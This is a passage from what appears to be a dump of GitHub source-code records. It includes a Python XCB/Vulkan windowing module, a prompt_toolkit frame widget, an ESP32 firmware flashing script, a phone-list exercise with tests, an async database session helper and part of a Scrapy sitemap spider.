(xcb_connection_t,)\n\nxcb_setup_roots_iterator = xcb.xcb_setup_roots_iterator\nxcb_setup_roots_iterator.restype = xcb_screen_iterator_t\nxcb_setup_roots_iterator.argtypes = (xcb_setup_t,)\n\nxcb_setup_next = xcb.xcb_setup_next\nxcb_setup_next.restype = None\nxcb_setup_next.argtypes = (POINTER(xcb_screen_iterator_t),)\n\nxcb_disconnect = xcb.xcb_disconnect\nxcb_disconnect.restype = None\nxcb_disconnect.argtypes = (xcb_connection_t,)\n\nxcb_generate_id = xcb.xcb_generate_id\nxcb_generate_id.restype = c_uint\nxcb_generate_id.argtypes = (xcb_connection_t, )\n\nxcb_create_window = xcb.xcb_create_window\nxcb_create_window.restype = xcb_void_cookie_t\nxcb_create_window.argtypes = (\n xcb_connection_t, c_ubyte, xcb_window_t, xcb_window_t, c_short, c_short,\n c_short, c_short, c_short, c_short, xcb_visualid_t, c_uint, c_void_p\n)\n\nxcb_map_window = xcb.xcb_map_window\nxcb_map_window.restype = xcb_void_cookie_t\nxcb_map_window.argtypes = (xcb_connection_t, xcb_window_t)\n\nxcb_destroy_window = xcb.xcb_destroy_window\nxcb_destroy_window.restype = xcb_void_cookie_t\nxcb_destroy_window.argtypes = (xcb_connection_t, xcb_window_t)\n\nxcb_flush = xcb.xcb_flush\nxcb_flush.restype = c_int\nxcb_flush.argtypes = (xcb_connection_t,)\n\nxcb_get_geometry = xcb.xcb_get_geometry\nxcb_get_geometry.restype = xcb_get_geometry_cookie_t\nxcb_get_geometry.argtypes = (xcb_connection_t, xcb_drawable_t)\n\nxcb_get_geometry_reply = xcb.xcb_get_geometry_reply\nxcb_get_geometry_reply.restype = POINTER(xcb_get_geometry_reply_t)\nxcb_get_geometry_reply.argtypes = (xcb_connection_t, xcb_get_geometry_cookie_t, c_void_p)\n\nxcb_poll_for_event = xcb.xcb_poll_for_event\nxcb_poll_for_event.restype = POINTER(xcb_generic_event_t)\nxcb_poll_for_event.argtypes = (xcb_connection_t,)\n\nxcb_intern_atom = xcb.xcb_intern_atom\nxcb_intern_atom.restype = xcb_intern_atom_cookie_t\nxcb_intern_atom.argtypes = (xcb_connection_t, c_ubyte, c_ushort, c_char_p)\n\nxcb_intern_atom_reply = xcb.xcb_intern_atom_reply\nxcb_intern_atom_reply.restype = POINTER(xcb_intern_atom_reply_t)\nxcb_intern_atom_reply.argtypes = (xcb_connection_t, xcb_intern_atom_cookie_t , c_void_p)\n\nxcb_change_property = xcb.xcb_change_property\nxcb_change_property.restype = xcb_void_cookie_t\nxcb_change_property.argtypes = (\n xcb_connection_t, c_ubyte, xcb_window_t, xcb_atom_t, xcb_atom_t,\n c_ubyte, c_uint, c_void_p\n)\n\nfree = libc.free\nfree.restype = None\nfree.argtypes = (c_void_p,)\n\nmouse_buttons = {'left': False, 'right': False, 'middle': False}\nmouse_pos = (0, 0)\nresize_target = (0, 0)\n\ndef handle_event(window, event_ptr):\n global mouse_buttons, mouse_pos, resize_target\n\n evt = event_ptr.contents.response_type & 0x7f\n if evt in (XCB_CLIENT_MESSAGE, XCB_DESTROY_NOTIFY):\n return False\n elif evt == XCB_MOTION_NOTIFY:\n motion_event = cast(event_ptr, POINTER(xcb_motion_notify_event_t)).contents\n app = window.app()\n x, y = float(motion_event.event_x), float(motion_event.event_y)\n \n if mouse_buttons['left']:\n app.rotation[0] += (mouse_pos[1] - y) * 0.80 \n app.rotation[1] += (mouse_pos[0] - x) * 0.80 \n\n elif mouse_buttons['right']:\n app.zoom += (mouse_pos[1] - y) * 0.005\n \n mouse_pos = (x, y)\n app.update_uniform_buffers()\n \n elif evt in (XCB_BUTTON_PRESS, XCB_BUTTON_RELEASE):\n press_event = cast(event_ptr, POINTER(xcb_button_press_event_t)).contents\n pressed = evt == XCB_BUTTON_PRESS\n\n if press_event.detail == XCB_BUTTON_INDEX_1:\n mouse_buttons['left'] = pressed\n elif press_event.detail == XCB_BUTTON_INDEX_3:\n mouse_buttons['right'] = pressed\n elif press_event.detail == XCB_BUTTON_INDEX_2:\n mouse_buttons['middle'] = pressed\n\n elif evt == XCB_CONFIGURE_NOTIFY:\n resize_event = cast(event_ptr, POINTER(xcb_configure_notify_event_t)).contents\n width, height = resize_event.width, resize_event.height\n if width != resize_target[0] or height != resize_target[1]:\n window.app().resize_display(width, height)\n\n resize_target = (width, height)\n return True\n\nasync def process_events(window):\n listen_events = True\n while listen_events:\n\n # Poll events until there are none left\n event = xcb_poll_for_event(window.connection)\n while event:\n listen_events &= handle_event(window, event)\n free(event)\n\n event = xcb_poll_for_event(window.connection)\n\n await asyncio.sleep(1/30)\n\n app = window.app()\n if app is not None:\n app.running = False\n await app.rendering_done.wait()\n\n asyncio.get_event_loop().stop()\n \nclass XlibWindow(object):\n \n def __init__(self, app):\n self.app = weakref.ref(app)\n\n # Setup a window using XCB\n screen = c_int(0)\n connection = xcb_connect(NULL_STR, byref(screen))\n setup = xcb_get_setup(connection);\n iter = xcb_setup_roots_iterator(setup);\n\n screen = screen.value\n while screen > 0:\n xcb_screen_next(byref(iter));\n screen -= 1\n\n screen = iter.data\n _screen = screen.contents\n\n # Create the window\n events_masks = XCB_EVENT_MASK_BUTTON_RELEASE | XCB_EVENT_MASK_BUTTON_PRESS |\\\n XCB_EVENT_MASK_POINTER_MOTION | XCB_EVENT_MASK_STRUCTURE_NOTIFY |\\\n XCB_EVENT_MASK_EXPOSURE | XCB_EVENT_MASK_KEY_RELEASE\n\n window = xcb_generate_id(connection)\n value_mask = XCB_CW_BACK_PIXEL | XCB_CW_EVENT_MASK\n value_list = (c_uint*32)(_screen.black_pixel, events_masks)\n \n xcb_create_window(\n connection, XCB_COPY_FROM_PARENT, window, _screen.root,\n 0, 0, 1280, 720, 0, XCB_WINDOW_CLASS_INPUT_OUTPUT,\n _screen.root_visual, value_mask,\n cast(value_list, c_void_p)\n )\n\n # Magic code that will send notification when window is destroyed\n cookie = xcb_intern_atom(connection, 1, 12, b'WM_PROTOCOLS')\n reply = xcb_intern_atom_reply(connection, cookie, NULL)\n\n cookie2 = xcb_intern_atom(connection, 0, 16, b'WM_DELETE_WINDOW')\n atom_wm_delete_window = xcb_intern_atom_reply(connection, cookie2, 0)\n\n xcb_change_property(\n connection,\n XCB_PROP_MODE_REPLACE,\n window,\n reply.contents.atom,\n 4, 32, 1,\n byref(xcb_atom_t(atom_wm_delete_window.contents.atom))\n )\n\n free(reply)\n\n # Save the required members and start listening to user events\n self.window = window\n self.connection = connection\n\n asyncio.ensure_future(process_events(self))\n\n def __del__(self):\n xcb_destroy_window(self.connection, self.window)\n xcb_disconnect(self.connection)\n\n def dimensions(self):\n cookie = xcb_get_geometry(self.connection, self.window)\n geo_ptr = xcb_get_geometry_reply(self.connection, cookie, NULL)\n geo = geo_ptr.contents\n free(geo_ptr)\n return (geo.width, geo.height)\n\n def show(self):\n xcb_map_window(self.connection, self.window)\n xcb_flush(self.connection)\n\n def set_title(self, title):\n title = title.encode()\n len_title = len(title)\n ctitle = c_char_p(title)\n\n xcb_change_property(\n self.connection,\n XCB_PROP_MODE_REPLACE,\n\t\t self.window, XCB_ATOM_WM_NAME, XCB_ATOM_STRING, 8,\n\t\t len_title, ctitle\n )\n\nclass XlibSwapchain(object):\n \n def create_surface(self):\n \"\"\"\n Create a surface for the window\n \"\"\"\n app = self.app()\n\n surface = vk.SurfaceKHR(0)\n surface_info = vk.XcbSurfaceCreateInfoKHR(\n s_type = vk.STRUCTURE_TYPE_XCB_SURFACE_CREATE_INFO_KHR,\n next= None, flags=0, connection=app.window.connection,\n window=app.window.window\n )\n\n result = app.CreateXcbSurfaceKHR(app.instance, byref(surface_info), None, byref(surface))\n if result == vk.SUCCESS:\n self.surface = surface\n else:\n raise RuntimeError(\"Failed to create surface\")\n \n def __init__(self, app):\n self.app = weakref.ref(app)\n self.surface = None\n self.swapchain = None\n self.images = None\n self.views = None\n self.create_surface()","repo_name":"gabdube/python-vulkan-triangle","sub_path":"xlib.py","file_name":"xlib.py","file_ext":"py","file_size_in_byte":12551,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"31"} +{"seq_id":"13430812991","text":"\n\nfrom functools import partial\nfrom typing import Optional\n\nfrom prompt_toolkit.filters import Condition\nfrom prompt_toolkit.formatted_text import AnyFormattedText, Template\nfrom prompt_toolkit.key_binding import KeyBindings\nfrom prompt_toolkit.layout import (\n AnyContainer,\n AnyDimension,\n ConditionalContainer,\n Container,\n DynamicContainer,\n HSplit,\n VSplit,\n Window\n)\nfrom prompt_toolkit.widgets.base import Border, Label\n\nclass SelectableFrame:\n \"\"\"\n Draw a border around any container, optionally with a title text.\n\n Changing the title and body of the frame is possible at runtime by\n assigning to the `body` and `title` attributes of this class.\n\n :param body: Another container object.\n :param title: Text to be displayed in the top of the frame (can be formatted text).\n :param style: Style string to be applied to this widget.\n \"\"\"\n\n def __init__(\n self,\n body: AnyContainer,\n title: AnyFormattedText = \"\",\n style: str = \"\",\n width: AnyDimension = None,\n height: AnyDimension = None,\n key_bindings: Optional[KeyBindings] = None,\n modal: bool = False,\n activated: bool = False,\n ) -> None:\n self.title = title\n self.body = body\n self.activated = activated\n\n def get_style() -> str:\n if self.activated:\n return \"class:frame.border.selected\"\n else:\n return \"class:frame.border\"\n\n fill = partial(Window, style=get_style)\n style = \"class:frame \" + style\n\n top_row_with_title = VSplit(\n [\n fill(width=1, height=1, char=Border.TOP_LEFT),\n fill(char=Border.HORIZONTAL),\n fill(width=1, height=1, char=\"|\"),\n # Notice: we use `Template` here, because `self.title` can be an\n # `HTML` object for instance.\n Label(\n lambda: Template(\" {} \").format(self.title),\n style=\"class:frame.label\",\n dont_extend_width=True,\n ),\n fill(width=1, height=1, char=\"|\"),\n fill(char=Border.HORIZONTAL),\n fill(width=1, height=1, char=Border.TOP_RIGHT),\n ],\n height=1,\n )\n\n top_row_without_title = VSplit(\n [\n fill(width=1, height=1, char=Border.TOP_LEFT),\n fill(char=Border.HORIZONTAL),\n fill(width=1, height=1, char=Border.TOP_RIGHT),\n ],\n height=1,\n )\n\n @Condition\n def has_title() -> bool:\n return bool(self.title)\n\n self.container = HSplit(\n [\n ConditionalContainer(content=top_row_with_title, filter=has_title),\n ConditionalContainer(content=top_row_without_title, filter=~has_title),\n VSplit(\n [\n fill(width=1, char=Border.VERTICAL),\n DynamicContainer(self.body),\n fill(width=1, char=Border.VERTICAL),\n # Padding is required to make sure that if the content is\n # too small, the right frame border is still aligned.\n ],\n padding=0,\n ),\n VSplit(\n [\n fill(width=1, height=1, char=Border.BOTTOM_LEFT),\n fill(char=Border.HORIZONTAL),\n fill(width=1, height=1, char=Border.BOTTOM_RIGHT),\n ],\n # specifying height here will increase the rendering speed.\n height=1,\n ),\n ],\n width=width,\n height=height,\n style=style,\n key_bindings=key_bindings,\n modal=modal,\n )\n\n def __pt_container__(self) -> Container:\n return self.container\n","repo_name":"androguard/androguard","sub_path":"androguard/ui/widget/frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","stars":4707,"dataset":"github-code","pt":"31"} +{"seq_id":"14589444319","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# ESP32 smartpump firmware downloader by kontornl\n\n# import esptool\nimport json, os\n\nADDR_EEPROM = 0x3ff000\nADDR_FW = 0x10000\nCONFIG_PATH = 'config.json'\nEEPROM_PATH = 'eeprom.bin'\nFW_PUMP_PATH = 'pump.bin'\nFW_TANK_PATH = 'tank.bin'\nPPID_CELL_MIN = 1\nPPID_CELL_MAX = 254\n\ndownload_config:dict = {\n \"serial_port\": \"COM6\",\n \"serial_speed\": 1500000,\n \"gen_ppid\": True,\n \"ppid_start\": [1, 1, 1, 1],\n \"server_addr\": \"47.104.141.250\",\n \"server_port\": 9991\n}\nclass download_args():\n def __init__(self, addr_filename=[(ADDR_EEPROM, None), (ADDR_FW, None)], port=download_config['serial_port'], baud=download_config['serial_speed']):\n self.port=port\n self.baud=baud\n self.addr_filename=addr_filename\n # self.flash_freq='40m'\n # self.flash_mode='qio'\n # self.flash_size='8MB'\n self.ucIsHspi=False\n self.ucIsLegacy=False\n self.no_progress=False\n self.no_stub=True\n self.verify=True\n self.compress=None\n self.no_compress=False\n\n# download_args:dict = {\n# 'port': download_config['serial_port'],\n# 'baud': download_config['serial_speed'],\n# 'addr_filename': [(ADDR_EEPROM, None), (ADDR_FW, None)],\n# 'flash_freq': '40m',\n# 'flash_mode': 'qio',\n# 'flash_size': '4MB',\n# 'ucIsHspi': False,\n# 'ucIsLegacy': False,\n# 'no_progress': False,\n# 'verify': True,\n# 'compress': None,\n# 'no_compress': False\n# }\nppid_current:list = [PPID_CELL_MIN, PPID_CELL_MIN, PPID_CELL_MIN, PPID_CELL_MIN]\n\ndef load_config():\n global download_config, ppid_current\n try:\n with open(CONFIG_PATH, 'r') as f:\n download_config = json.loads(f.read())\n ppid_current = download_config['ppid_start']\n except:\n return None\n\ndef gen_ppid():\n ppid = b''\n for cell in download_config['ppid_start']:\n if cell < PPID_CELL_MIN: cell = PPID_CELL_MIN\n if cell > PPID_CELL_MAX: cell = PPID_CELL_MAX\n ppid += int(cell).to_bytes(1, byteorder='little')\n if ppid == b'i6\\x82\\x85': \n download_config['ppid_start'][3] += 1\n ppid = b'i6\\x82\\x86'\n download_config['ppid_start'][3] += 1\n if download_config['ppid_start'][3] > PPID_CELL_MAX:\n download_config['ppid_start'][3] = 0\n download_config['ppid_start'][2] += 1\n if download_config['ppid_start'][2] > PPID_CELL_MAX:\n download_config['ppid_start'][2] = 0\n download_config['ppid_start'][1] += 1\n if download_config['ppid_start'][1] > PPID_CELL_MAX:\n download_config['ppid_start'][1] = 0\n download_config['ppid_start'][0] += 1\n if download_config['ppid_start'][0] > PPID_CELL_MAX:\n download_config['ppid_start'] == [PPID_CELL_MIN, PPID_CELL_MIN, PPID_CELL_MIN, PPID_CELL_MIN]\n return ppid\n\nif __name__ == '__main__':\n load_config()\n # with open('eeprom_init.bin', 'rb') as f:\n # eeprom_init = bytearray(f.read())\n # eeprom_head = eeprom_init[0:0x200]\n # eeprom_tail = eeprom_init[0x400:0x41f]\n # del eeprom_init\n try:\n while True:\n print('Generating virtual EEPROM.')\n if download_config['gen_ppid']: ppid = gen_ppid()\n else:\n ppid_str = input('Give one PPID in heximal format XXXX-XXXX, e.g. 6936-8285: ')\n # TODO: manually input PPID\n eeprom_cache:bytearray = b'H' # b'H\\0\\0\\0\\0\\0lh\\00047.104.141.250\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x07\\x27'\n eeprom_cache += ppid\n # eeprom_cache += b'\\0lmh\\0eSUP'\n eeprom_cache += b'\\0O\\x02' # \\x80\n eeprom_cache += download_config['server_port'].to_bytes(2, 'little')\n eeprom_cache += bytearray(download_config['server_addr'], encoding='utf-8')\n eeprom_cache += b'\\0' # *(65-len(download_config['server_addr']))\n # once server_addr contains non-ascii code, this length could be invalid\n with open('eeprom.bin', 'wb+') as f:\n # f.write(eeprom_head)\n # f.seek(0x300)\n f.write(eeprom_cache)\n # f.seek(0x400)\n # f.write(eeprom_tail)\n print('The device ID will be %02x%02x-%02x%02x' % (eeprom_cache[1], eeprom_cache[2], eeprom_cache[3], eeprom_cache[4]))\n input('Plug one PUMP device in and press ENTER to continue, or Ctrl-C to quit: ')\n while os.system('python.exe .\\\\esptool.py -p %s -b %d write_flash 0x0 boot.bin 0x%x %s 0xa000 ota.bin 0x%x %s' % (\n download_config['serial_port'], download_config['serial_speed'], ADDR_EEPROM, EEPROM_PATH, ADDR_FW, FW_PUMP_PATH\n )):\n try:\n input('Download failed! Press ENTER to continue, or Ctrl-C to skip: ')\n except KeyboardInterrupt:\n print('cancelled.')\n break\n ''' download by invoking esptool methods\n with open(EEPROM_PATH, 'rb') as f_eeprom, open(FW_PUMP_PATH, 'rb') as f_fw:\n args = download_args([(ADDR_EEPROM, f_eeprom), (ADDR_FW, f_fw)])\n # esp = esptool.ESPLoader.detect_chip(args.port, 115200, 'default_reset')\n esp = esptool.ESP32ROM(download_config['serial_port'], 115200)\n esp.connect()\n esp.run_stub()\n esp.change_baud(download_config['serial_speed'])\n esp.flash_spi_attach(args.ucIsHspi,args.ucIsLegacy)\n esptool.detect_flash_size(esp, args)\n esp.flash_set_parameters(esptool.flash_size_bytes(args.flash_size))\n esptool.write_flash(esp, args)\n '''\n input('Plug one TANK device in and press ENTER to continue, or Ctrl-C to quit: ')\n while os.system('python.exe .\\\\esptool.py -p %s -b %d write_flash 0x0 boot.bin 0x%x %s 0xa000 ota.bin 0x%x %s' % (\n download_config['serial_port'], download_config['serial_speed'], ADDR_EEPROM, EEPROM_PATH, ADDR_FW, FW_TANK_PATH\n )):\n try:\n input('Download failed! Press ENTER to continue, or Ctrl-C to skip: ')\n except KeyboardInterrupt:\n print('cancelled.')\n break\n\n ''' download by invoking esptool methods\n with open(EEPROM_PATH, 'rb') as f_eeprom, open(FW_PUMP_PATH, 'rb') as f_fw:\n args = download_args([(ADDR_EEPROM, f_eeprom), (ADDR_FW, f_fw)])\n esp = esptool.ESP32ROM(download_config['serial_port'], 115200)\n esp.connect()\n esp.run_stub()\n esp.change_baud(download_config['serial_speed'])\n esp.flash_spi_attach(args.ucIsHspi,args.ucIsLegacy)\n esptool.detect_flash_size(esp, args)\n esp.flash_set_parameters(esptool.flash_size_bytes(args.flash_size))\n esptool.write_flash(esp, args)\n '''\n input('Press ENTER to continue, or Ctrl-C to quit.')\n except KeyboardInterrupt:\n print('cancelled.')\n print('Quit downloader.')\n","repo_name":"DreamSkyLL/ESP32-downloader","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":7187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17404556311","text":"def addPhone(manu,model,price,l,test):\r\n \"\"\"\r\n Function used fro adding a (manufacturer, model, price) touple to the list of phones.\r\n input:manu - the manufacturer (string),model -the model(string),price-the price(int),l - the list of phones\r\n output:the modified list\r\n \"\"\"\r\n x=(manu,model,price)\r\n l.append(x)\r\n if test == 0:\r\n print(\"\\n\\tPhone added successfully!\")\r\n return l\r\n\r\ndef removePhone(manu,model,l,test):\r\n \"\"\"\r\n Function used for removing a phone from the list of phones.If the phone is not found, a message is printed.\r\n input:manu - the manufacturer (string),model -the model(string),l - the list of phones\r\n output:the modified list\r\n \"\"\"\r\n ok=False\r\n for i in range(0,len(l)):\r\n if l[i][0]==manu and l[i][1] ==model:\r\n l.pop(i)\r\n ok=True\r\n if test == 0:\r\n print(\"\\n\\tPhone removed successfully!\")\r\n\r\n if ok ==False and test==0:\r\n print(\"\\n\\tThe is no phone with thiese details.\")\r\n return l\r\n\r\ndef updatePhone(manu,model,price,l,test):\r\n \"\"\"\r\n Function used for updating the price of a phone from the list of phones.If the phone is not found, a message is printed.\r\n input:manu - the manufacturer (string),model -the model(string),price-the price(int),l - the list of phones\r\n output:the modified list\r\n \"\"\"\r\n \"\"\"\r\n Function used fro adding a (manufacturer, model, price) touple to the list of phones.\r\n input:manu - the manufacturer (string),model -the model(string),price-the price(int),l - the list of phones\r\n output:the modified list\r\n \"\"\"\r\n ok = False\r\n for i in range(0, len(l)):\r\n if l[i][0] == manu and l[i][1] == model:\r\n l[i]=(manu,model,price)\r\n ok = True\r\n if test == 0:\r\n print(\"\\n\\tPhone updated successfully!\")\r\n if ok == False and (test == 0):\r\n print(\"\\n\\tThe is no phone with thiese details.\")\r\n return l\r\n\r\ndef listAll(l):\r\n \"\"\"\r\n Function used for printing the list of phones sorted by increasing price.For that it is used a temporary list which is sorted.\r\n If the list is empty, a message is printed.\r\n input:the list of phones\r\n output:the list is printed\r\n \"\"\"\r\n print(\"\\n\")\r\n for i in range(0, len(l)):\r\n print(\"Manufacturer:\"+ l[i][0] +\" Model:\" +l[i][1] + \" Price:\" + str(l[i][2])+\"\\n\")\r\n if len(l)==0:\r\n print(\"\\n\\tThe list is empty\")\r\n\r\ndef sortedPhone(l):\r\n \"\"\"\r\n Function used for printing the entire list of phones sorted by increasing price.If the list is\r\n empty, a message is printed.\r\n input:the list of phones\r\n output:the list is printed\r\n \"\"\"\r\n print(\"\\n\")\r\n if len(l)==0:\r\n print(\"\\n\\tThe list is empty\")\r\n else:\r\n tmp=l\r\n for i in range(0,len(l)-1):\r\n for j in range(i+1,len(l)):\r\n if int(tmp[i][2])>int(tmp[j][2]):\r\n tmp[i],tmp[j]=tmp[j],tmp[i]\r\n for i in range(0, len(tmp)):\r\n print(\"Manufacturer:\" + tmp[i][0] + \" Model:\" + tmp[i][1] + \" Price:\" + str(tmp[i][2]) +\"\\n\")\r\n\r\ndef addElements(l):\r\n addPhone(\"samsung\", \"edge 7\", 2300, l, 1)\r\n addPhone(\"samsung\", \"edge 10\", 2800, l, 1)\r\n addPhone(\"iphone\", \"s67\", 24, l, 1)\r\n addPhone(\"motorola\", \"g56f\", 250, l, 1)\r\n addPhone(\"iphone\", \"black\", 125, l, 1)\r\n addPhone(\"nokia\", \"lumia\", 160, l, 1)\r\n addPhone(\"nokia\", \"xperia\", 2450, l, 1)\r\n addPhone(\"HTC\", \"desire\", 2400, l, 1)\r\n addPhone(\"HTC\", \"rexs\", 2300, l, 1)\r\n addPhone(\"Phone 4\", \"Phone\", 2425, l, 1)\r\n return l\r\n#Tests\r\ndef Tests():\r\n \"\"\"\r\n Function used for tests\r\n \"\"\"\r\n l=[]\r\n testAddPhone(l)\r\n testRemovePhone(l)\r\n testUpdatePhone(l)\r\n l=[]\r\n return l\r\n\r\ndef testAddPhone(l):\r\n assert len(l)==0\r\n addPhone(\"samsung\",\"edge 7\",2400,l,1)\r\n assert len(l) == 1\r\n addPhone(\"motorola\", \"x\", 500, l, 1)\r\n addPhone(\"iphone\", \"5s\", 1400, l, 1)\r\n assert len(l) == 3\r\n addPhone(\"samsung \", \"y\", 20, l, 1)\r\n addPhone(\"iphone\", \"6s\", 2900, l, 1)\r\n assert len(l) == 5\r\n\r\ndef testRemovePhone(l):\r\n l = []\r\n addPhone(\"samsung\", \"edge 7\", 2400, l, 1)\r\n assert len(l) == 1\r\n removePhone(\"samsung\", \"edge 7\",l,1)\r\n assert len(l) == 0\r\n\r\n addPhone(\"samsung\", \"edge 7\", 2400, l, 1)\r\n assert len(l) == 1\r\n addPhone(\"iphone\", \"5s\", 1000, l, 1)\r\n assert len(l) == 2\r\n removePhone(\"iphone\", \"5s\", l, 1)\r\n assert len(l) == 1\r\n\r\ndef testUpdatePhone(l):\r\n l = []\r\n addPhone(\"samsung\", \"edge 7\", 2400, l, 1)\r\n assert len(l) == 1\r\n updatePhone(\"samsung\", \"edge 7\", 1000, l, 1)\r\n assert len(l) == 1\r\n assert l[0][2] == 1000\r\n updatePhone(\"samsung\", \"edge 7\", 2000, l, 1)\r\n assert len(l) == 1\r\n assert l[0][2] == 2000\r\n\r\n addPhone(\"iphone\", \"6s\", 1000, l, 1)\r\n assert len(l) == 2\r\n updatePhone(\"iphone\", \"6s\", 1500, l, 1)\r\n assert len(l) == 2\r\n assert l[1][2] == 1500\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"JugaruRobert/ListOfMobilePhones_Python","sub_path":"Operations.py","file_name":"Operations.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11866421802","text":"from contextlib import asynccontextmanager\nfrom typing import AsyncGenerator\n\nfrom sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine\nfrom src.settings.app import get_app_settings\n\nsettings = get_app_settings()\n\n\n@asynccontextmanager\nasync def get_async_db_session() -> AsyncGenerator[AsyncSession, None]:\n engine = create_async_engine(\n settings.postgres.dsn,\n echo=settings.service.debug,\n future=True,\n )\n async_session = async_sessionmaker(engine, expire_on_commit=False)\n\n async with async_session() as db:\n yield db\n","repo_name":"alena-kono/ugc-service-2","sub_path":"backend/apps/auth/src/cli/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37577605970","text":"# Contains CustomSitemapSpider and associated helper functions.\n\n# How the spider handles settings.HTTPCACHE_ENABLED==True:\n# - (Scrapy caches all responses)\n# - Setting ip_address to \"*cache copy*\"\n# - Setting ssl_certificate to \"*cache copy*\"\n# - Setting protocol to \"*cache copy*\"\n\n# To download ASN lookup file (to be used with pyasn):\n# $ ~/.local/bin/pyasn_util_download.py --latest\n# $ ~/.local/bin/pyasn_util_convert.py --single \n\nimport re\nimport logging\nimport socket\nimport requests\nimport unicodedata\n# from bs4 import BeautifulSoup\nfrom urllib.parse import urlsplit\n\nfrom scrapy import Request\nfrom scrapy.spiders import SitemapSpider\nfrom scrapy.spidermiddlewares.httperror import HttpError\nfrom twisted.internet.error import ConnectionRefusedError\n\n# local:\nimport ecom_utils\nfrom crawl_prototype import items, settings\n\n \ndef get_url_level(url):\n return len([x for x in urlsplit(url).path.split('/') if x]) + 1\n\ndef get_domain(url):\n # Remove www and protocol to ensure consistency between parse_homepage\n # and parse_about_us.\n # !!! It should be verified that this is the most sensible process \n # at some point !!!\n url_parts = urlsplit(url)\n domain = url_parts.netloc.replace('www.', '')\n return domain\n\n\nclass CustomSitemapSpider(SitemapSpider):\n name = 'custom_sitemap'\n # Any URLs which include a given regex string will be parsed by the \n # corresponding method (order matters).\n sitemap_rules = [\n ('/about-?us', 'parse_about_us'),\n ('/(contact-?us)|(contact)', 'parse_about_us'),\n# ('', 'parse'),\n ]\n # Only sitemap URLs which include the given regex strings will be\n # processed.\n sitemap_follow = ['\\.nz/']\n\n def __init__(self, cc_start=4, cc_end=14, *a, **kw):\n with open(\"../old_reference_material/ccmain-2021-10-nz-netlocs.txt\") as f:\n cc_domains_all = f.read().splitlines()\n try:\n # These arguments are passed from console when initiating scrapy.\n cc_start_int = int(cc_start)\n cc_end_int = int(cc_end)\n except ValueError:\n raise ValueError(\"cc_start and cc_end must be integers\")\n else:\n # If integers, verify whether they give a sensible list slice\n # (does not support negative integers).\n num_lines = len(cc_domains_all) + 1\n if cc_start_int > cc_end_int:\n raise ValueError(\"cc_start should be <= cc_end\")\n elif cc_start_int <= 3:\n raise ValueError(\"cc_start should be >= 4\")\n elif cc_end_int > num_lines:\n raise ValueError(f\"cc_end should be <= {num_lines} (num_lines+1)\")\n # Subtract one from cc_start/cc_end so that they correspond to line \n # numbers.\n self.homepage_urls = [\n f\"https://{domain}\" \n for domain in cc_domains_all[(cc_start_int - 1):(cc_end_int - 1)]\n ]\n \n SITEMAP_SUFFIXES = [\n \"/robots.txt\",\n \"/sitemap.xml\",\n ]\n self.next_sitemap = {\n i: j for i, j in zip(SITEMAP_SUFFIXES[:-1], SITEMAP_SUFFIXES[1:])\n }\n self.next_sitemap['START'] = SITEMAP_SUFFIXES[0]\n \n super().__init__(*a, **kw)\n\n def start_requests(self):\n for homepage in self.homepage_urls:\n yield Request(homepage, callback=self.parse_homepage)\n \n sitemap_to_try = self.next_sitemap['START']\n yield Request(\n homepage + sitemap_to_try, \n callback=self._parse_sitemap, \n errback=self.sitemap_errback, \n meta={'homepage': homepage, 'sitemap': sitemap_to_try}\n )\n \n def sitemap_errback(self, failure):\n # If the website doesn't have the given sitemap suffix (ie returns 404\n # status code), then the next suffix is tried (if there is a next one).\n if failure.check(HttpError) and failure.value.response.status == 404:\n homepage = failure.request.meta['homepage']\n tried_sitemap = failure.request.meta['sitemap']\n next_sitemap = self.next_sitemap.get(tried_sitemap)\n if next_sitemap:\n yield Request(\n homepage + next_sitemap, \n callback=self._parse_sitemap,\n errback=self.sitemap_errback,\n meta={'homepage': homepage, 'sitemap': next_sitemap}\n )\n \n elif failure.check(ConnectionRefusedError):\n pass\n \n def parse_homepage(self, response, preexisting_item=None):\n \"\"\"\n parse_homepage: FILL OUT\n \"\"\"\n hp_item = preexisting_item or items.HomepageItem()\n \n # \"Content\"\n hp_item['title'] = response.xpath('//title/text()').get()\n hp_item['author'] = response.xpath(\"//meta[@name='author']/@content\").get()\n hp_item['description'] = response.xpath(\"//meta[@name='description']/@content\").get()\n \n footer = ''.join(response.xpath(\"//footer//text()\").getall())\n footer_parts = [x for x in re.split(r'\\n|\\t|\\r', footer) if x]\n # \\xa9 is unicode for the copyright symbol\n footer_copyright_parts = [\n re.match(r'^.*(\\xa9|copyright).*$', text, flags=re.I) \n for text in footer_parts\n ]\n hp_item['as_number'] = [\n t.group(0).strip() for t in footer_copyright_parts if t\n ]\n \n # (Try to) Detect ecommerce software\n response_html = response.body.decode()\n hp_item['cart_software'] = ecom_utils.detect_cart_softwares(response_html)\n hp_item['has_card'] = ecom_utils.detect_if_has_card(response_html)\n hp_item['payment_systems'] = ecom_utils.detect_payment_systems(response_html)\n \n # Add more hosting information? e.g. AS number, AS company\n hp_item['ip_address'] = response.ip_address\n hp_item['ssl_certificate'] = (response.certificate is not None\n if not settings.HTTPCACHE_ENABLED \n else \"*cached copy*\")\n hp_item['protocol'] = (response.protocol \n if not settings.HTTPCACHE_ENABLED \n else \"*cached copy*\")\n \n# hp_item['test'] = requests.get(f\"http://whois.arin.net/rest/ip/{response.ip_address}\").content\n# hp_item['test'] = (response.ip_address.reverse_pointer \n# if not settings.HTTPCACHE_ENABLED \n# else \"*cached copy*\")\n try:\n hp_item['reverse_dns_lookup'] = (\n socket.gethostbyaddr(str(response.ip_address))[0] \n if not 